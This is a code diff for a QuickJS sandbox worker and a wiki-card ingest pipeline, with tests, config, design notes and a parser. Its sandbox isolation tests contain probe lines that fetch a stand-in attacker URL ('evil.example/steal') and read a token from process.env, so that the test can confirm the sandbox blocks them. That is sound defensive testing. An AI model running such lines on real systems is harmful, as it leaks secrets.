ctx.dispose();
runtime.dispose();
}
}
function byteLen(s) {
if (typeof Buffer !== 'undefined') return Buffer.byteLength(s, 'utf8');
return new TextEncoder().encode(s).length;
}
function err(message, error_type) {
return { success: false, error: message, error_type };
}
@@ -0,0 +1,10 @@
// 把 quickjs-wasmfile variant 的 .wasm 複製進 vendor/,供 index.ts 以相對路徑 import
// (wrangler 只可靠處理相對路徑 .wasm → CompiledWasmnode_modules 子路徑 .wasm 解析不穩)。
// 由 postinstall 自動執行;vendor/*.wasm 為 build 產物、gitignored。
import { copyFileSync, mkdirSync } from 'node:fs';
import { createRequire } from 'node:module';
const require = createRequire(import.meta.url);
const src = require.resolve('@jitl/quickjs-wasmfile-release-sync/wasm');
mkdirSync(new URL('../vendor/', import.meta.url), { recursive: true });
copyFileSync(src, new URL('../vendor/quickjs.wasm', import.meta.url));
console.log('vendored quickjs.wasm from', src);
+25
View File
@@ -0,0 +1,25 @@
---
tags: [arcrun, 測試]
gloss: 一張測沙箱用的示範卡片。
pipeline_candidate: true
---
# 沙箱示範卡
← [[notes/00-INDEX]]
這張卡引用了 [[notes/arcrun-runtime]] 與 [[notes/quickjs-sandbox]]。
## 實體
- **QuickJS**quickjsqjs)— 小型 JS 直譯器,可編成 wasm。
- **wazero** — Go 寫的 WASI runtime。
- **workerd** — Cloudflare Worker 的開源 runtime。
## 關聯
### 內文知識關係
- QuickJS >> 編譯成 >> wasm
- workerd >> 執行 >> wasm
### 卡片關係
- [[沙箱示範卡]] >> 依賴 >> [[notes/arcrun-runtime]]
@@ -0,0 +1,135 @@
import { describe, it, expect } from 'vitest';
import { readFileSync } from 'node:fs';
import { fileURLToPath } from 'node:url';
import { dirname, join } from 'node:path';
import { runCode, setVariant } from '../sandbox.mjs';
import { planCard } from './fixtures/card-to-envelope.oracle.mjs';
import baseVariant from '@jitl/quickjs-wasmfile-release-sync';
import { newVariant } from 'quickjs-emscripten-core';
const HERE = dirname(fileURLToPath(import.meta.url));
const FIX = join(HERE, 'fixtures');
// 注入與 productionWorker)同一條路徑:wasmfile variant + 預編 WebAssembly.Module。
// Worker 由 wrangler 把 import 的 .wasm 綁成 Module;此處在 Node 由 bytes 建 Module。
const wasmBytes = readFileSync(join(HERE, '..', 'node_modules', '@jitl', 'quickjs-wasmfile-release-sync', 'dist', 'emscripten-module.wasm'));
setVariant(newVariant(baseVariant, { wasmModule: new WebAssembly.Module(wasmBytes) }));
describe('① 基本 snippet 跑通', () => {
it('sum: {return {sum: input.a + input.b}}', async () => {
const r = await runCode('return {sum: input.a + input.b};', { a: 2, b: 40 });
expect(r).toEqual({ success: true, data: { sum: 42 } });
});
it('可用純 ECMAScript 內建(Array/JSON/Math/Date', async () => {
const r = await runCode(
'return {mapped: input.xs.map(x=>x*x), max: Math.max(...input.xs), isNum: typeof Date.now()};',
{ xs: [1, 2, 3] },
);
expect(r.success).toBe(true);
expect(r.data.mapped).toEqual([1, 4, 9]);
expect(r.data.max).toBe(3);
expect(r.data.isNum).toBe('number');
});
});
describe('② 沙箱隔離:無 ambient 能力', () => {
it('fetch / process / require / WebAssembly / globalThis.env 皆 undefined', async () => {
const r = await runCode(`return {
fetch: typeof fetch,
process: typeof process,
require: typeof require,
wasm: typeof WebAssembly,
globalThisEnv: typeof (globalThis.env),
xhr: typeof XMLHttpRequest,
};`, {});
expect(r.success).toBe(true);
expect(r.data).toEqual({
fetch: 'undefined', process: 'undefined', require: 'undefined',
wasm: 'undefined', globalThisEnv: 'undefined', xhr: 'undefined',
});
});
it('嘗試打網路(fetch)→ 被擋、回結構化 errorWorker 不掛)', async () => {
const r = await runCode(`return fetch('https://evil.example/steal');`, {});
expect(r.success).toBe(false);
expect(r.error).toMatch(/fetch.*is not defined/i);
expect(r.error_type).toBe('UserCodeError');
});
it('嘗試讀 env/secret → 讀不到(process undefined', async () => {
const r = await runCode(`return process.env.GITEA_TOKEN;`, {});
expect(r.success).toBe(false);
expect(r.error).toMatch(/process.*is not defined/i);
});
it('host 端變數不外洩:沙箱是獨立 heap', async () => {
const r = await runCode(`return typeof GITEA_TOKEN + '|' + typeof globalThis.GITEA_TOKEN;`, {});
expect(r.success).toBe(true);
expect(r.data).toBe('undefined|undefined');
});
});
describe('③ 錯誤處理 → 結構化 {error}', () => {
it('user code 拋錯 → success:false + error 訊息', async () => {
const r = await runCode(`throw new Error('boom');`, {});
expect(r.success).toBe(false);
expect(r.error).toMatch(/boom/);
expect(r.error_type).toBe('UserCodeError');
});
it('語法錯誤 → 結構化 error(不炸 host', async () => {
const r = await runCode(`return {;`, {});
expect(r.success).toBe(false);
expect(r.error_type).toBe('UserCodeError');
});
});
describe('④ 資源限制', () => {
it('timeout:無窮迴圈 → TimeoutError(不掛死 host', async () => {
const r = await runCode(`while(true){}`, {}, { limits: { timeout_ms: 200 } });
expect(r.success).toBe(false);
expect(r.error_type).toBe('TimeoutError');
}, 10000);
it('輸出過大 → ResourceError', async () => {
const r = await runCode(`return 'x'.repeat(input.n);`, { n: 5000 }, { limits: { max_output_bytes: 1000 } });
expect(r.success).toBe(false);
expect(r.error_type).toBe('ResourceError');
});
it('code 過大 → ResourceError', async () => {
const big = '/*' + 'a'.repeat(3000) + '*/ return 1;';
const r = await runCode(big, {}, { limits: { max_code_bytes: 1000 } });
expect(r.success).toBe(false);
expect(r.error_type).toBe('ResourceError');
});
});
describe('⑤ 首個真實案例:card-to-envelope 在 code 零件內跑,產出與原模組一致', () => {
const md = readFileSync(join(FIX, 'fixture-card.md'), 'utf8');
const usercode = readFileSync(join(FIX, 'card-to-envelope.usercode.js'), 'utf8');
const relPath = 'system-dev/wiki/cards/notes/沙箱示範卡.md';
const repo = 'Leo/notes';
// 移除時間相依欄位(Date.now())以做穩定 deep-equal
const strip = (plan) => {
const p = structuredClone(plan);
for (const e of p.envelopes) delete e.extractor.extracted_at;
return p;
};
it('沙箱輸出 === 原始模組 planCard 輸出(entry/nodes/triplets/envelopes 全等)', async () => {
const oracle = planCard(md, relPath, repo, {});
const r = await runCode(usercode, { md, relPath, repo, opts: {} }, {
limits: { timeout_ms: 3000, max_output_bytes: 4 * 1024 * 1024 },
});
expect(r.success).toBe(true);
expect(strip(r.data)).toEqual(strip(oracle));
expect(r.data.entry.page_name).toBe('wikicard:Leo/notes/沙箱示範卡');
expect(r.data.entry.metadata.embed).toBe(true);
// 注入的 sha256 builtin 與 node crypto 一致 → content_hash 逐字相同
expect(r.data.entry.metadata.content_hash).toBe(oracle.entry.metadata.content_hash);
expect(r.data.envelopes.length).toBeGreaterThanOrEqual(1);
}, 15000);
});
+14
View File
@@ -0,0 +1,14 @@
{
"compilerOptions": {
"target": "ES2022",
"module": "ES2022",
"moduleResolution": "Bundler",
"lib": ["ES2022"],
"types": ["@cloudflare/workers-types"],
"strict": true,
"skipLibCheck": true,
"allowJs": true,
"noEmit": true
},
"include": ["index.ts", "sandbox.mjs"]
}
@@ -0,0 +1,5 @@
import { defineConfig } from 'vitest/config';
export default defineConfig({
root: import.meta.dirname,
test: { environment: 'node', include: ['test/**/*.test.mjs'] },
});
+11
View File
@@ -0,0 +1,11 @@
name = "arcrun-code"
main = "index.ts"
compatibility_date = "2025-02-19"
workers_dev = true
[vars]
COMPONENT_ID = "code"
[[routes]]
pattern = "code.arcrun.dev/*"
zone_name = "arcrun.dev"
@@ -0,0 +1,74 @@
# km-wiki-ingest — 機械式 wiki 卡片 → KBDB ingestArcrun#8 / 頂層 SDD T2T4
> Phase A 產物:機械 ingest 邏輯 + 乾跑證據 + workflow 設計。**不部署、不寫 live KBDB。**
## 解決什麼問題
把各 repo 的 `system-dev/wiki/cards/**/*.md`(人工精耕卡)**機械地**(無 LLM)灌進 leo21c KBDB
- **卡片 → base entry**`metadata.embed=true`,供語意搜尋)。
- **`## 實體` → graph node****`## 關聯` 的 typed-edge`A >> 關係 >> B`)與 `[[wikilink]]` → graph triplet**。
取代舊 `kbdb-ingest-plugin/scripts/ingest-cli.mjs``raw → Haiku → 三元組` 路:新路純解析卡片內既有結構,**決定性、零 token、零幻覺**。
## 形式選擇與理由(給總管)
**形式 = Arcrun workflowYAML 編排)+ 通用 `code` 零件(sandbox inline JSArcrun#10)承載卡片→envelope 解析 現成零件(`cron` / `http_request` / `foreach_control` / `kbdb_upsert_block`)。** 不再鑄 domain 零件 `km_wiki_card_parse`Arcrun#10 裁定:一次性解析走通用逃生口)。
理由:
1. **編排本來就是 arcrun 的主場**cron 限速 drain、Gitea webhook 只吃 delta、foreach 小批、冪等 upsert——這些跟現成零件 1:1 對得上,且 leo 要「Arcrun workflow 慢慢做」、arcrun 哲學禁一次性腳本。
2. **arcrun 唯一缺的是「卡片 → envelope」的解析**。那是一段**決定性純轉換**(無 LLM、無網路、無檔案)——正好是 `code` 零件 sandbox 的理想形狀(`stdin_stdout_json` + `no_network_syscall` + `no_filesystem_syscall`)。用通用 `code` 節點內聯這段 JS(而非鑄 domain 零件、也非在 YAML 裡塞 `string_ops` 正則):workflow 可讀、解析可單元測試、且 registry 不因一次性邏輯增生 domain 零件。
3. **小批是結構性的,不是靠祈禱**:一卡一 tick,每卡在 graph worker 的 fan-out ≈ `7+4N+M` subrequestnotes 卡 N≈4/M≈5 → est 28~33,穩壓 CF 50 頂下);`code` 節點內聯解析會**預先把超大卡以 `source_uri` anchor 分段**,任何單一 graph 呼叫都不破頂。
**Phase A 交付**:純解析+打包核心(`lib/card-to-envelope.mjs`,現在就能跑,= `code` 節點內聯 JS 的權威來源)+乾跑驗證器(`lib/dry-run.mjs`,印出「將寫入什麼」)+本 workflow.yamlparse_card = `code` 節點)。解析零件=通用 `code`Arcrun#10 分支,已就緒待部署);本 example 不再自帶 domain 零件契約。部署被閘控,故 live 接線是「設計而非執行」。
## 診斷小結:fan-out 精確來源 + 小批為何解得掉
`kbdb-graph-plugin` 現役寫入路徑(`triplet-ingest.ts` / `triplet-crud.ts` / `templates.ts` / `kbdb-client.ts`)逐行拆帳:
```
POST /triplets/ingestgraph worker 單次 invocation)對 base 的 subrequest
ensurePluginTemplates(3) # 頂層一次
+ listRecordsByTemplate(1) # 抓同 source 現存 active(冪等分組)
+ Σ_triplet [ createTriplet → ensurePluginTemplates(3) + createRecord(1) ] # ★ 每條邊重跑 ensure
+ persistNodes [ ensurePluginTemplates(3) + Σ_node createRecord(1) ]
+ Σ_deprecated updateRecord(1)
= 7 + 4*N_triplets + M_nodes + D_deprecated
```
- **精確炸點還原**07_01 單一 envelope 吞 `N=11, M=10, D=0``7+44+10 = 61 > 50` → 破頂半殘。**放大器=`createTriplet` 內每條邊都重呼 `ensurePluginTemplates`3 個 GET**,佔了 33/61。
- **小批為何解得掉**:把「整檔一 envelope」改成「一卡一 envelope、必要時再 anchor 分段」,把 `N` 壓到讓 `7+4N+M ≤ 40`。notes 三卡實測 est 上限 = 33,全綠。超大卡(自測 20 邊/22 節點=114)→ 自動分 4 段,每段 ≤ 38。
- **附帶建議(非本 Phase 必改)**:graph 端把 `createTriplet`/`persistNodes` 內重複的 `ensurePluginTemplates` 提到 ingest 入口只跑一次,可把每 envelope 省下 `3*(N+1)` 個 subrequest(單卡 est 33→約 18),批量還能更大。此為 graph-plugin 的可選優化,記此存查。
## 冪等設計
| 對象 | 冪等鍵 | 行為 |
|---|---|---|
| **entry** | `page_name`(穩定:`wikicard:<repo>/<canonical>`+ `metadata.content_hash` | 找到同 page_namehash 相同 → skip;不同 → PATCH content(觸發重嵌)。沒有 → POST 新建。 |
| **triplet envelope** | `source.uri` + `source.content_hash` | graph 現役 per-source 冪等:同 hash 整包 no-op`triplet-ingest.ts:65`)。 |
| **分段** | 各段 `source.uri = <基uri>#segNN` | 各段獨立 uri → 各自獨立冪等,**繞開 per-source content_hash 整包 skip**(否則同 uri 第 2 段起會被判定「已落地」而整包跳過)。節點只放進「首次引用它的段」,跨段不重送(避免 graph 重建 entity)。 |
## 觸發(兩階段,對齊 SDD R3)
- **Phase 0(一次性 backfill**`cron */2` 每 tick drain 一張卡(限速慢推),反覆跑到全庫清空。冪等 → 可續傳、重跑零寫入。
- **穩態(日常增量)****Gitea push webhook → arcrun workflow**,只吃 `commits[].{added,modified}` 中的 `system-dev/wiki/cards/**/*.md`。⚠️ Gitea → Cloudflare(arcrun)**非 GitHub Actions**,不觸 GitHub flag 紅線(D4/D20)。量小、不撞頂、不限速。
## 乾跑證據(Phase A,不寫 live
```
node lib/dry-run.mjs --repo-path <notes clone> --repo Leo/notes --self-test
```
`Leo/notes` 的 3 張卡實測:3 entriesembed=true+ 3 envelopes、15 triplets、16 nodes
**單次 graph 呼叫 subrequest 上限 = 33< 50),無任一 envelope 破頂**
self-test 合成超大卡(不分段 est=114 會炸)→ 自動分 4 段、每段 ≤ 38,全綠。
## 待 live 部署 + 寫入(總管過 leo 閘用)
1. **部署通用 `code` 零件**Arcrun#10 分支 `feat/issue-10-code-component`,已就緒):`cd registry/components/code && npm install && npx wrangler deploy`(→ `code.arcrun.dev`)+ `register-component.sh code`。本 workflow 的 parse_card 以 `component: code` 引用它,解析 JS 已內聯在 workflow.yaml(= `lib/card-to-envelope.mjs` 邏輯)。不再部署 domain 零件 `km_wiki_card_parse`
2. **部署 workflow**`km_wiki_ingest_drain`cron drain);`wrangler` 直推 leo21c**禁 `acr update`**——codeload 綁 GitHub 假綠,Arcrun#4)。
3. **注入環境變數**(不放 repo):`repo=Leo/notes ref=main gitea_token kbdb_url=https://arcrun-kbdb.leo21c.workers.dev kbdb_api_key graph_url graph_api_key=leo``CLOUDFLARE_ACCOUNT_ID=leo21c`(別讓官方 58309b 污染)。
4. **entry 寫入路徑確認**:若 `kbdb_upsert_block` 尚不透傳 `metadata_json`(需 `embed:true`/`content_hash`),entry 改用 `http_request` 直打 base `POST/PATCH /entries``body_json.metadata_json`
5. **預期寫入量(Leo/notes 現況 3 卡)**3 entries + 15 triplets + 16 node records(去重後更少);分 3 次 graph 呼叫(每次 ≤ 33 subrequest+ 3 次 entry upsert。全庫鋪開時照 cron 一卡一 tick 慢推。
6. **驗收**ingest 後 `GET /embed/backfill/status` 應見 pending 上升→drain 後歸零、embedded 增加;三模式(關鍵字/語意/圖)curl 驗。
@@ -0,0 +1,176 @@
{
"repo": "Leo/notes",
"commit": "4b9a53c1c99d596c23b1b449fd79728610f6995b",
"budget": 40,
"ceiling": 50,
"cards": [
{
"relPath": "system-dev/wiki/cards/notes/Gitea當後端編輯器全CF化網站構想.md",
"canonical": "Gitea當後端編輯器全CF化網站構想",
"entry": {
"page_name": "wikicard:Leo/notes/Gitea當後端編輯器全CF化網站構想",
"entry_type": "wiki_card",
"metadata.embed": true,
"content_hash": "64b402952fe0…",
"content_bytes": 2324,
"tags": [
"系統設計",
"工具教學"
]
},
"envelopeCount": 1,
"envelopes": [
{
"source.uri": "gitea:Leo/notes@system-dev/wiki/cards/notes/Gitea當後端編輯器全CF化網站構想.md",
"source.anchor": null,
"nodes": 6,
"triplets": 5,
"est_subrequests": 33,
"under_ceiling": true,
"sample_triplets": [
"Gitea >> 類比於 >> WordPress (1)",
"Gitea >> 充當後端供稿給 >> Cloudflare Pages (1)",
"Quartz >> 目前負責轉譯給 >> Cloudflare Pages (1)",
"Cloudflare Artifacts >> 若提供 git 倉庫則可取代 >> Gitea (1)"
],
"sample_nodes": [
"Gitea — 可自架的 git 平台,編輯體驗近似 WordPress 後…",
"WordPress — 常見的內容管理後端,作為 Gitea 編輯體驗的類比對象。…",
"Cloudflare Pages — Cloudflare 的靜態站前端託管。…",
"Quartz — 目前把筆記轉成網站前端的工具。…"
]
}
]
},
{
"relPath": "system-dev/wiki/cards/notes/Prompt能力即拆解自己邏輯的能力.md",
"canonical": "Prompt能力即拆解自己邏輯的能力",
"entry": {
"page_name": "wikicard:Leo/notes/Prompt能力即拆解自己邏輯的能力",
"entry_type": "wiki_card",
"metadata.embed": true,
"content_hash": "63296a663227…",
"content_bytes": 2109,
"tags": [
"AI協作",
"工具教學",
"觀點主張"
]
},
"envelopeCount": 1,
"envelopes": [
{
"source.uri": "gitea:Leo/notes@system-dev/wiki/cards/notes/Prompt能力即拆解自己邏輯的能力.md",
"source.anchor": null,
"nodes": 5,
"triplets": 5,
"est_subrequests": 32,
"under_ceiling": true,
"sample_triplets": [
"Prompt 能力 >> 本質上等於 >> 邏輯拆解能力 (1)",
"邏輯拆解能力 >> 產出 >> pseudo code (1)",
"pseudo code >> 足以教會 >> AI (1)",
"Prompt能力即拆解自己邏輯的能力 >> 呼應 >> 程式化邏輯可圖解任何主題不限AI (1)"
],
"sample_nodes": [
"Prompt 能力 — 把腦中意圖轉成能指揮 AI 的指令的能力。…",
"邏輯拆解能力 — 把腦中隱性流程外顯成可陳述步驟的能力。…",
"pseudo code — 用類程式的步驟描述邏輯、尚未綁定特定語法的表達。…",
"AI — 需被人以指令/範例指揮才產出的生成模型。…"
]
}
]
},
{
"relPath": "system-dev/wiki/cards/notes/程式化邏輯可圖解任何主題不限AI.md",
"canonical": "程式化邏輯可圖解任何主題不限AI",
"entry": {
"page_name": "wikicard:Leo/notes/程式化邏輯可圖解任何主題不限AI",
"entry_type": "wiki_card",
"metadata.embed": true,
"content_hash": "a9dbf5fc0f9a…",
"content_bytes": 2577,
"tags": [
"工具教學",
"觀點主張",
"系統設計"
]
},
"envelopeCount": 1,
"envelopes": [
{
"source.uri": "gitea:Leo/notes@system-dev/wiki/cards/notes/程式化邏輯可圖解任何主題不限AI.md",
"source.anchor": null,
"nodes": 5,
"triplets": 5,
"est_subrequests": 32,
"under_ceiling": true,
"sample_triplets": [
"程式化邏輯 >> 可圖解 >> 亞洲金融風暴 (1)",
"流程圖解 >> 奠基於 >> 程式化邏輯 (1)",
"系統動力學 >> 類同於 >> 流程圖解 (1)",
"程式化邏輯可圖解任何主題不限AI >> 呼應 >> Prompt能力即拆解自己邏輯的能力 (1)"
],
"sample_nodes": [
"程式化邏輯 — 以程式的因果鏈結構來表述任一領域的邏輯。…",
"亞洲金融風暴 — 講者小 Lin 用長邏輯鏈敘述的金融事件案例。…",
"流程圖解 — 用 n8n 這類流程工具把邏輯視覺化講解的方法。…",
"系統動力學 — 以存量流量與回饋環圖解因果的建模工具。…"
]
}
]
}
],
"totals": {
"cards": 3,
"entries_to_upsert": 3,
"triplet_envelopes": 3,
"total_triplets": 15,
"total_nodes": 16,
"max_est_subrequests_single_call": 33,
"ceiling": 50,
"budget": 40,
"any_envelope_over_ceiling": 0
},
"self_test": {
"note": "合成 20 邊 / 22 節點 的超大卡",
"if_single_envelope_est_subrequests": 114,
"would_crash_single": true,
"segmented_into": 4,
"per_segment": [
{
"uri": "gitea:Leo/notes@system-dev/wiki/cards/notes/合成超大卡.md#seg01",
"anchor": "seg01",
"triplets": 6,
"nodes": 7,
"est_subrequests": 38,
"under_ceiling": true
},
{
"uri": "gitea:Leo/notes@system-dev/wiki/cards/notes/合成超大卡.md#seg02",
"anchor": "seg02",
"triplets": 6,
"nodes": 6,
"est_subrequests": 37,
"under_ceiling": true
},
{
"uri": "gitea:Leo/notes@system-dev/wiki/cards/notes/合成超大卡.md#seg03",
"anchor": "seg03",
"triplets": 6,
"nodes": 6,
"est_subrequests": 37,
"under_ceiling": true
},
{
"uri": "gitea:Leo/notes@system-dev/wiki/cards/notes/合成超大卡.md#seg04",
"anchor": "seg04",
"triplets": 3,
"nodes": 3,
"est_subrequests": 22,
"under_ceiling": true
}
],
"all_segments_under_ceiling": true
}
}
@@ -0,0 +1,331 @@
// km-wiki-ingest — 機械式卡片→(entry + triplet envelope) 轉換核心(無 LLM、純函式)
// ---------------------------------------------------------------------------
// 取代舊 `kbdb-ingest-plugin/scripts/ingest-cli.mjs` 的 raw→Haiku 路:
// 舊路 = 讀裸筆記 → 呼叫 Haiku 萃 (s,p,o) → envelope(有 LLM、非決定性、耗 token)。
// 新路 = 讀「已精耕卡片」(`system-dev/wiki/cards/**/*.md`)→ 直接解析卡片內既有的
// `## 實體`(節點)、`## 關聯` 的 typed-edge`A >> 關係 >> B`)與 `[[wikilink]]`
// → entry + triplet envelope。純機械、決定性、零 token。
//
// 這支=通用 `code` 零件(Arcrun#10sandbox inline JS)承載的解析邏輯本體。
// workflow.yaml 的 parse_card 節點把本檔的 planCard 邏輯內聯進 code 零件的 config
// (去 import/export、raw NUL 分隔符改 u0000 escape、改用 code 沙箱注入的 sha256);
// 不再鑄 domain 零件 km_wiki_card_parseArcrun#10 裁定:一次性解析走通用逃生口)。
// 本檔續留作「該內聯 JS 的權威來源 + 可單元測試的參考實作」(純函式、stdin→stdout JSON、無 fs/網路)。
//
// 對齊契約:kbdb-ingest-plugin/contracts/ingest-candidate.jsonenvelope 形狀 / 禁止欄位)。
// 對齊頂層 SDD:卡片→entrymetadata.embed=true,走 base API)、wikilink→triplet(走 graph)。
//
// 鐵律:不碰儲存、不算向量、不建表。這支只「產出將寫入什麼」,實際 HTTP 由 workflow 打。
import { createHash } from 'node:crypto';
// --- CF subrequest 預算(防「Too many subrequests by single Worker invocation」,07_01 根因)---
//
// graph worker 處理一次 POST /triplets/ingest 時,對 base 的每次 fetch = 1 subrequest。
// 精確拆帳(讀 kbdb-graph-plugin/src/actions/triplet-ingest.ts + triplet-crud.ts + templates.ts):
// ingestEnvelope = ensurePluginTemplates(3) + listRecordsByTemplate(1)
// + Σ triplet [ createTriplet → ensurePluginTemplates(3) + createRecord(1) = 4 ]
// + persistNodes [ ensurePluginTemplates(3) + Σ node createRecord(1) ]
// + Σ deprecated updateRecord(1)
// ⟹ subreq(envelope) = 7 + 4*N_triplets + M_nodes + D_deprecated
//
// 07_01 實測炸點:N=11, M=10, D=0 → 7+44+10 = 61 > 50CF 免費/bundled 上限)→ 炸半殘。
//
// 對策 = 「一卡一 tick、每 envelope 壓在預算下、超大檔以 source_uri anchor 分段」。
export const SUBREQ_CEILING = 50; // CF 單次 Worker invocation subrequest 硬上限(bundled
export const SUBREQ_BUDGET = 40; // 我們的目標上限(留 10 給 D_deprecated 等變動)
/** 精確估算「一個 envelope 打進 graph /triplets/ingest」會在 graph worker 內產生幾個 subrequest。 */
export function estimateEnvelopeSubrequests(nTriplets, mNodes, dDeprecated = 0) {
return 7 + 4 * nTriplets + mNodes + dDeprecated;
}
// --- sha256content_hash 冪等鍵)---
export function sha256(text) {
return createHash('sha256').update(text).digest('hex');
}
// --- frontmatter 解析(極簡 YAML:只吃我們卡片用到的 tags / gloss / pipeline_candidate---
function parseFrontmatter(md) {
const m = md.match(/^---\n([\s\S]*?)\n---\n?/);
if (!m) return { data: {}, body: md };
const body = md.slice(m[0].length);
const data = {};
for (const line of m[1].split('\n')) {
const kv = line.match(/^([A-Za-z_][\w-]*):\s*(.*)$/);
if (!kv) continue;
const key = kv[1];
let val = kv[2].trim();
if (val.startsWith('[') && val.endsWith(']')) {
// inline list: [a, b, c]
data[key] = val.slice(1, -1).split(',').map((s) => s.trim()).filter(Boolean);
} else if (val === 'true' || val === 'false') {
data[key] = val === 'true';
} else {
data[key] = val;
}
}
return { data, body };
}
// --- 取某個 `## 標題` / `### 標題` 區塊的內文(到下一個同級或更高級標題為止)---
function sectionBody(md, heading) {
// heading 例:'## 實體'、'### 內文知識關係'
const level = heading.match(/^#+/)[0].length;
const lines = md.split('\n');
const out = [];
let inSec = false;
for (const line of lines) {
const h = line.match(/^(#+)\s+(.*)$/);
if (h) {
const thisLevel = h[1].length;
if (inSec) {
// 遇到同級或更高級標題 → 區塊結束
if (thisLevel <= level) break;
}
// 標題文字「開頭相符」即算命中(容忍標題後帶括號補述)
if (!inSec && thisLevel === level && line.replace(/^#+\s+/, '').startsWith(heading.replace(/^#+\s+/, ''))) {
inSec = true;
continue;
}
}
if (inSec) out.push(line);
}
return out.join('\n');
}
// --- 實體行解析:`- **正規名**(別名1/別名2)— 描述`(別名、描述皆選填)---
function parseEntities(md) {
const sec = sectionBody(md, '## 實體');
const entities = [];
for (const raw of sec.split('\n')) {
const line = raw.trim();
if (!line.startsWith('- ')) continue;
if (line.startsWith('- >') || line.startsWith('> ')) continue; // 跳過引言說明行
const m = line.match(/^- \*\*(.+?)\*\*(?:(.+?))?\s*(?:[—–\-]\s*(.*))?$/);
if (!m) continue;
const name = m[1].trim();
if (!name) continue;
const aliases = m[2]
? m[2].split(/[/、,]/).map((s) => s.trim()).filter((s) => s && s !== name)
: [];
const gloss = (m[3] || '').trim();
entities.push({ name, aliases, gloss });
}
return entities;
}
// --- typed-edge 行解析:`A >> 謂詞 >> B`(端點可為裸實體名或 [[wikilink]]---
function parseTypedEdges(sectionText) {
const edges = [];
for (const raw of (sectionText || '').split('\n')) {
const line = raw.trim();
if (!line.startsWith('- ')) continue;
const body = line.slice(2).trim();
if (body.startsWith('') || body.startsWith('(')) continue; // 「(暫無…)」占位行
const parts = body.split('>>');
if (parts.length !== 3) continue;
const subject = stripWikilink(parts[0].trim());
const predicate = parts[1].trim();
const object = stripWikilink(parts[2].trim());
if (!subject || !predicate || !object) continue;
edges.push({ subject, predicate, object });
}
return edges;
}
// [[notes/00-INDEX]] → notes/00-INDEX ;純字串則原樣回。
function stripWikilink(s) {
const m = s.match(/^\[\[(.+?)\]\]$/);
return m ? m[1].trim() : s;
}
// --- 抽所有 inline [[wikilink]](含 header 的 ← [[notes/00-INDEX]] 與內文)---
function extractInlineWikilinks(md) {
const out = [];
const re = /\[\[(.+?)\]\]/g;
let m;
while ((m = re.exec(md)) !== null) out.push(m[1].trim());
return out;
}
// --- 卡片 canonical id:以檔名(去副檔名)為準,對齊 `## 卡片關係` 用的 [[基名]] 慣例 ---
export function cardCanonical(relPath) {
const base = relPath.split('/').pop().replace(/\.md$/, '');
return base;
}
/**
* 解析一張卡片 { entry, nodes, triplets, meta }尚未分段的原始產物
* relPath卡片相對 repo 根路徑 system-dev/wiki/cards/notes/Xxx.md
* repo 'Leo/notes'
*/
export function parseCard(md, relPath, repo = 'Leo/notes') {
const { data: fm } = parseFrontmatter(md);
const canonical = cardCanonical(relPath);
const titleMatch = md.match(/^#\s+(.+)$/m);
const title = titleMatch ? titleMatch[1].trim() : canonical;
// 1) 節點:## 實體 的正規名 + 別名 + gloss。
const entities = parseEntities(md);
// 2) 邊:內文知識關係(實體↔實體)+ 卡片關係(卡↔卡)+ inline wikilink(卡→卡 導覽/引用)。
const intraEdges = parseTypedEdges(sectionBody(md, '### 內文知識關係'))
.map((e) => ({ ...e, confidence: 1.0 }));
const cardEdges = parseTypedEdges(sectionBody(md, '### 卡片關係'))
.map((e) => ({ ...e, confidence: 1.0 }));
// inline wikilink(← [[notes/00-INDEX]] 等)→ 卡→卡「連結至」邊,去重、排除自環與已被 typed 邊覆蓋者。
const typedPairs = new Set(
[...cardEdges].map((e) => `${e.subject}${e.object}`),
);
const seenRef = new Set();
const refEdges = [];
for (const target of extractInlineWikilinks(md)) {
const t = stripWikilink(target);
if (t === canonical || t === title) continue; // 自環
if (typedPairs.has(`${canonical}${t}`)) continue; // 已有明確謂詞邊
const key = `${canonical}${t}`;
if (seenRef.has(key)) continue;
seenRef.add(key);
refEdges.push({ subject: canonical, predicate: '連結至', object: t, confidence: 0.5 });
}
const triplets = [...intraEdges, ...cardEdges, ...refEdges];
// 3) 節點清單:卡片本身(canonical,帶 frontmatter gloss+ 內文實體。
// 卡對卡邊指到的「別張卡」不在此補 node —— 那張卡自己被 ingest 時會補自己的 node。
const nodes = [];
const seenNode = new Set();
const pushNode = (n) => {
const k = n.name.toLowerCase();
if (!n.name || seenNode.has(k)) return;
seenNode.add(k);
nodes.push(n);
};
pushNode({ name: canonical, gloss: fm.gloss || '', aliases: title && title !== canonical ? [title] : [] });
for (const e of entities) pushNode({ name: e.name, gloss: e.gloss, aliases: e.aliases });
return {
entry: {
// base POST /entries(或 kbdb_upsert_block)用。metadata.embed=true → 語意可搜。
page_name: `wikicard:${repo}/${canonical}`, // idempotency key(穩定)
entry_type: 'wiki_card',
content: md, // 卡片全文逐字(embed 對象)
tags: Array.isArray(fm.tags) ? fm.tags : [],
metadata: {
embed: true, // ★ base embed 模組讀此旗標
source: `gitea:${repo}@${relPath}`,
content_hash: sha256(md),
kind: 'wiki_card',
repo,
canonical,
pipeline_candidate: fm.pipeline_candidate === true,
},
},
nodes,
triplets,
meta: { canonical, title, relPath, repo, contentHash: sha256(md) },
};
}
/**
* 把一張卡片的 (nodes, triplets) 打包成一個或多個ingest envelope
* 使每個 envelope 打進 graph 後的 subrequest SUBREQ_BUDGET
*
* 分段規則對應頂層 SDD R4 / issue #8 第4點
* - envelope 夠塞7+4N+M budget 不分段uri = uri anchor
* - 需分段 每段 uri = `<基uri>#seg{NN}`anchor = `seg{NN}`
* 每段是獨立 source_uri 各自獨立冪等繞開 graph per-source content_hash 整包 skip
* 否則同 uri 2 段起會被 line 65 content_hash 命中而整包跳過
* - 節點只放進第一個引用到它的段跨段不重送避免 graph persistNodes 重建 entity record
*/
export function planEnvelopes(parsed, opts = {}) {
const budget = opts.budget ?? SUBREQ_BUDGET;
const repo = parsed.meta.repo;
const relPath = parsed.meta.relPath;
const baseUri = `gitea:${repo}@${relPath}`;
const contentHash = parsed.meta.contentHash;
const commit = opts.commit;
const extractor = {
model: opts.extractorModel ?? 'mechanical/km-wiki-card-parse@1',
tier: 'deep', // 人工精耕卡=deep(決定性、非淺萃)
extracted_at: Math.floor(Date.now() / 1000),
};
const nodeByName = new Map(parsed.nodes.map((n) => [n.name, n]));
// 貪婪打包:逐條 triplet 累進,段成本 = 7 + 4*(段內邊數) + (段內首見節點數)。
const segments = [];
let cur = null;
const startSeg = () => {
cur = { triplets: [], nodeNames: new Set() };
segments.push(cur);
};
const segCost = (seg, extraEdges = 0, extraNodes = 0) =>
estimateEnvelopeSubrequests(seg.triplets.length + extraEdges, seg.nodeNames.size + extraNodes);
